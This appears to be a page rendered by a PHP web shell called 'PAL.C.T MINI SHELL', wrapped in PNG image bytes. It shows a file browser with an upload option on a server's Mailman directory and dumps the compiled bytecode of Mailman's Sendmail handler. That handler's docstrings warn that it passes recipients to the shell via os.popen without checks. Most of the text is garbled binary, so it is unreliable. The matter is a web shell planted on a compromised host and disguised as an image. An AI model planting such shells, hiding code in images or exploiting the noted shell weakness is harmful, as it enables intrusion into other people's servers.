php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Handlers/
upload
files >> //usr/lib/mailman/Mailman/Handlers/Sendmail.pyo

Pc@sadZddkZddkZddklZddklZddklZdZdZ	dS(sDeliver a message via command-line drop-off.

WARNING WARNING WARNING: This module is provided for example purposes only.
It should not be used in a production environment for reasons described
below.  Because of this, you must explicitly enable it with by editing the
code.  See the WARN section in the process() function.

This module delivers the message via the command line interface to the
sendmail program.  It should work for sendmail clones like Postfix.  It is
expected that sendmail handles final delivery, message queueing, etc.  The
recipient list is only trivially split so that the command line is less than
about 3k in size.

SECURITY WARNING: Because this module uses os.popen(), it goes through the
shell.  This module does not scan the arguments for potential exploits and so
it should be considered unsafe for production use.  For performance reasons,
it's not recommended either -- use the SMTPDirect delivery module instead,
even if you're using the sendmail MTA.

DUPLICATES WARNING: Using this module can cause duplicates to be delivered to
your membership, depending on your MTA!  E.g. It is known that if you're using
the sendmail MTA, and if a message contains a single dot on a line by itself,
your list members will receive many duplicates.
iN(tmm_cfg(tErrors(tsyslogic
Cs|id}|pdStid|id}g}g}d}xb|D]Z}|i||t|d}|tjo&|iti|g}d}qOqOW|o|iti|nt	|}	t|	}
g}x|D]}t
i||d}
|
i|	|
i
}|oD|d@d	?}td
d|i|i|
||i|ntd
d|i|i|
qW|o||d<tindS(
s2Process the message object for the given list.

    The message object is an instance of Mailman.Message and must be fully
    prepared for delivery (i.e. all the appropriate headers must be set).  The
    message object can have the following attributes:

    recips - the list of recipients for the message (required)

    This function processes the message by handing off the delivery of the
    message to a sendmail (or sendmail clone) program.  It can raise a
    SendmailHandlerError if an error status was returned by the sendmail
    program.
    
    trecipsNs -f t iitwiitposts'post to %s from %s, size=%d, failure=%ds$post to %s from %s, size=%d, success(tgetRtSENDMAIL_CMDtGetBouncesEmailtappendtlentMAX_CMDLINEtstringtjointstrtostpopentwritetcloseRt
internal_namet
get_senderRtSomeRecipientsFailed(tmlisttmsgtmsgdataRtcmdtrecipchunkstcurrentchunktchunklentrtmsgtexttmsglentfailedrecipstchunktfptstatusterrcode((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Sendmail.pytprocess5sH


	
	
(
t__doc__R
RtMailmanRRtMailman.Logging.SyslogRRR&(((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Sendmail.pyt<module>(s
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`